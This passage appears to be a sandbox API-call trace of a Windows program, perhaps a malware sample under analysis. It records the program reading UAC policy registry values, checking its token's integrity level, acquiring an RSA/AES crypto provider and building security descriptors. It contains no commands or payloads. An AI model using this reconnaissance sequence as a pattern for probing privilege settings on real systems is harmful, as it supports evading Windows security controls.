lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.008] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x30) returned 0x119b998 [0188.008] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119b940) returned 1 [0188.008] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119b940 [0188.008] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c360 [0188.008] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.008] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119b950 [0188.008] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c318 [0188.008] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.008] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119b9d0 [0188.009] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c2d0 [0188.009] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.009] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119b9e0 [0188.009] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.009] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.009] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c240 [0188.009] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119b998) returned 1 [0188.009] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119b998 [0188.009] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1f8 [0188.009] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.009] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119b9a8 [0188.009] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1b0 [0188.009] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.009] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d1e8 [0188.009] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c168 [0188.009] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.009] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d1f8 [0188.009] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.009] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0188.009] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0188.009] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0188.009] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0188.009] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c5a0) returned 1 [0188.009] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119b878) returned 1 [0188.009] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c438) returned 1 [0188.009] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119b888) returned 1 [0188.009] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c558) returned 1 [0188.009] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119b898) returned 1 [0188.009] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c510) returned 1 [0188.009] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119b930) returned 1 [0188.009] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c4c8) returned 1 [0188.009] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119b860) returned 1 [0188.009] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c480) returned 1 [0188.009] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119b968) returned 1 [0188.009] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c3f0) returned 1 [0188.009] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119b978) returned 1 [0188.009] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c3a8) returned 1 [0188.010] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119b988) returned 1 [0188.010] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c360) returned 1 [0188.010] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119b940) returned 1 [0188.010] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c318) returned 1 [0188.010] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119b950) returned 1 [0188.010] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c2d0) returned 1 [0188.010] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119b9d0) returned 1 [0188.010] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.010] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119b9e0) returned 1 [0188.010] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1f8) returned 1 [0188.010] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119b998) returned 1 [0188.010] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1b0) returned 1 [0188.010] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119b9a8) returned 1 [0188.010] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c168) returned 1 [0188.010] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d1e8) returned 1 [0188.010] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.010] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d1f8) returned 1 [0188.010] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c240) returned 1 [0188.010] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c240 [0188.010] RegQueryValueExA (in: hKey=0x24, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x2df5a8, lpData=0x0, lpcbData=0x2df5b0*=0x0 | out: lpType=0x2df5a8*=0x4, lpData=0x0, lpcbData=0x2df5b0*=0x4) returned 0x0 [0188.010] RegQueryValueExA (in: hKey=0x24, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x2df5a8, lpData=0x119c240, lpcbData=0x2df5b0*=0x4 | out: lpType=0x2df5a8*=0x4, lpData=0x119c240*=0x5, lpcbData=0x2df5b0*=0x4) returned 0x0 [0188.010] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c240) returned 1 [0188.010] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0188.010] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.010] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x10) returned 0x119d5e8 [0188.010] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d1f8 [0188.010] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0188.010] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.010] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d1e8 [0188.010] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c240 [0188.010] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.010] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d208 [0188.010] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.010] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.010] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d218 [0188.010] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c168 [0188.010] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.011] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x20) returned 0x119b860 [0188.011] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d5e8) returned 1 [0188.011] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d228 [0188.011] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1b0 [0188.011] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.011] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d238 [0188.011] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1f8 [0188.011] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.011] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d248 [0188.011] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.011] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.011] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d258 [0188.011] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c2d0 [0188.011] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.011] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x30) returned 0x119b930 [0188.011] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119b860) returned 1 [0188.011] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d268 [0188.011] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c318 [0188.011] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.011] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d278 [0188.011] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c360 [0188.011] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.011] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d288 [0188.011] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c3a8 [0188.011] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.011] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d298 [0188.011] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c3f0 [0188.011] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.011] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c480 [0188.011] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119b930) returned 1 [0188.011] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2a8 [0188.012] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c4c8 [0188.012] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.012] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2b8 [0188.012] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c510 [0188.012] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.012] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2c8 [0188.012] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c558 [0188.012] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.012] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2d8 [0188.012] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c438 [0188.012] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0188.012] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c5a0 [0188.012] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c5a0) returned 1 [0188.012] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c5a0 [0188.012] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c5a0) returned 1 [0188.012] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c5a0 [0188.012] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c5a0) returned 1 [0188.012] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c5a0 [0188.012] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c5a0) returned 1 [0188.012] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c5a0 [0188.012] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c5a0) returned 1 [0188.012] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c5a0 [0188.012] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c5a0) returned 1 [0188.012] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c5a0 [0188.012] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c5a0) returned 1 [0188.012] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c5a0 [0188.012] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c5a0) returned 1 [0188.012] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c5a0 [0188.012] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0188.012] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d1f8) returned 1 [0188.012] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c240) returned 1 [0188.012] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d1e8) returned 1 [0188.012] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.012] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d208) returned 1 [0188.012] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c168) returned 1 [0188.012] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d218) returned 1 [0188.013] RegQueryValueExA (in: hKey=0x24, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x2df5a8, lpData=0x0, lpcbData=0x2df5b0*=0x0 | out: lpType=0x2df5a8*=0x4, lpData=0x0, lpcbData=0x2df5b0*=0x4) returned 0x0 [0188.013] RegQueryValueExA (in: hKey=0x24, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x2df5a8, lpData=0x119c480, lpcbData=0x2df5b0*=0x4 | out: lpType=0x2df5a8*=0x4, lpData=0x119c480*=0x1, lpcbData=0x2df5b0*=0x4) returned 0x0 [0188.013] RegCloseKey (hKey=0x24) returned 0x0 [0188.013] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x2df620 | out: TokenHandle=0x2df620*=0x24) returned 1 [0188.013] GetTokenInformation (in: TokenHandle=0x24, TokenInformationClass=0x14, TokenInformation=0x2df61c, TokenInformationLength=0x4, ReturnLength=0x2df618 | out: TokenInformation=0x2df61c, ReturnLength=0x2df618) returned 1 [0188.013] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x2df60c | out: TokenHandle=0x2df60c*=0xa0) returned 1 [0188.013] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x2df608 | out: TokenInformation=0x0, ReturnLength=0x2df608) returned 0 [0188.013] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c5a0 [0188.013] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x19, TokenInformation=0x119c5a0, TokenInformationLength=0x14, ReturnLength=0x2df608 | out: TokenInformation=0x119c5a0, ReturnLength=0x2df608) returned 1 [0188.013] GetSidSubAuthorityCount (pSid=0x119c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x119c5a9 [0188.013] GetSidSubAuthority (pSid=0x119c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x119c5b0 [0188.013] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c5a0) returned 1 [0188.013] NtClose (Handle=0xa0) returned 0x0 [0188.013] GetSystemInfo (in: lpSystemInfo=0x2df754 | out: lpSystemInfo=0x2df754*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x1, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0188.013] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x6c) returned 0x119b860 [0188.013] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c5a0 [0188.013] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0xa0 [0188.013] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c480 [0188.013] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c438 [0188.013] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c558 [0188.013] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c510 [0188.013] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x5000) returned 0x340048 [0188.014] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c4c8 [0188.014] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c4c8) returned 1 [0188.014] CryptAcquireContextW (in: phProv=0x2df768, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x2df768*=0x63e3b8) returned 1 [0188.028] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x340048) returned 1 [0188.028] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119b8d8 [0188.028] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119b960 [0188.028] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c4c8 [0188.028] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119b9e8 [0188.028] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119ba70 [0188.029] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c3f0 [0188.029] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119baf8 [0188.029] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c3a8 [0188.029] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x5000) returned 0x340048 [0188.029] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c360 [0188.029] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c360) returned 1 [0188.029] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0188.072] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x340048) returned 1 [0188.072] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x638aa8, lpbSaclPresent=0x2df71c, pSacl=0x2df770, lpbSaclDefaulted=0x2df71c | out: lpbSaclPresent=0x2df71c, pSacl=0x2df770, lpbSaclDefaulted=0x2df71c) returned 1 [0188.072] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c360 [0188.072] CreateEventA (lpEventAttributes=0x2df764, bManualReset=1, bInitialState=0, lpName="") returned 0xe8 [0188.072] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c360) returned 1 [0188.072] GetLastError () returned 0x0 [0188.072] LocalFree (hMem=0x638aa8) returned 0x0 [0188.072] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c360 [0188.072] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x5000) returned 0x340048 [0188.072] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c318 [0188.072] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c318) returned 1 [0188.072] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0188.073] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x340048) returned 1 [0188.073] GetSecurityDescriptorSacl 